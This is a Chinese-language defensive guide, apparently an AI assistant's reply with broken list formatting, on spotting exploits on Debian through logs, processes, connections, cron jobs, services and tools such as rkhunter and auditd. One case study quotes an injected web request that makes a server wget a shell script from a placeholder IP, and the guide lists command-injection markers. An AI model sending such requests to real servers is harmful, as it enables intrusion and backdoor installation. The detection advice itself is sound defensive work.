识别 Debian 系统上的 exploit(漏洞利用)行为,通常需要结合日志、系统状态、网络行为和已知攻击特征来判断。下面从排查思路 → 具体方法 → 工具 → 典型案例四个层面说明。
Exploit 通常表现为以下异常之一:
/tmp/x、/dev/shm/a)sudo / su 日志异常who
w
last
cat /etc/passwd
重点关注:
ps auxf
top
重点看:
/tmp、/dev/shm、/var/tmp 下的进程ss -antup
netstat -antup
异常特征:
crontab -l
ls -la /etc/cron*
cat /etc/crontab
Exploit 常留后门在 cron 中。
systemctl list-unit-files
ls /etc/init.d/
可疑服务名、路径异常的服务。
/var/log/auth.log
关注:
/var/log/syslog
journalctl -xe
关注:
/var/log/nginx/access.log
/var/log/apache2/access.log
异常请求:
/cgi-bin//admin;、|、$() 等apt install debsums
debsums -c
发现被篡改的系统文件。
apt install chkrootkit rkhunter
chkrootkit
rkhunter --check
apt install tiger
tiger
apt install auditd
auditctl -w /etc/passwd -p wa -k passwd_change
监控关键文件变更。
/tmp/exploitwhoami 从 user 变 rootauth.log 无 sudo 记录✅ 判断:本地提权成功
GET /index.php?cmd=wget http://x.x.x.x/shell.sh
/tmp/shell.sh 出现✅ 判断:远程代码执行 + 下载后门
auth.log 大量失败apt update && apt upgrade
如果你愿意,可以:
我可以帮你做针对性分析。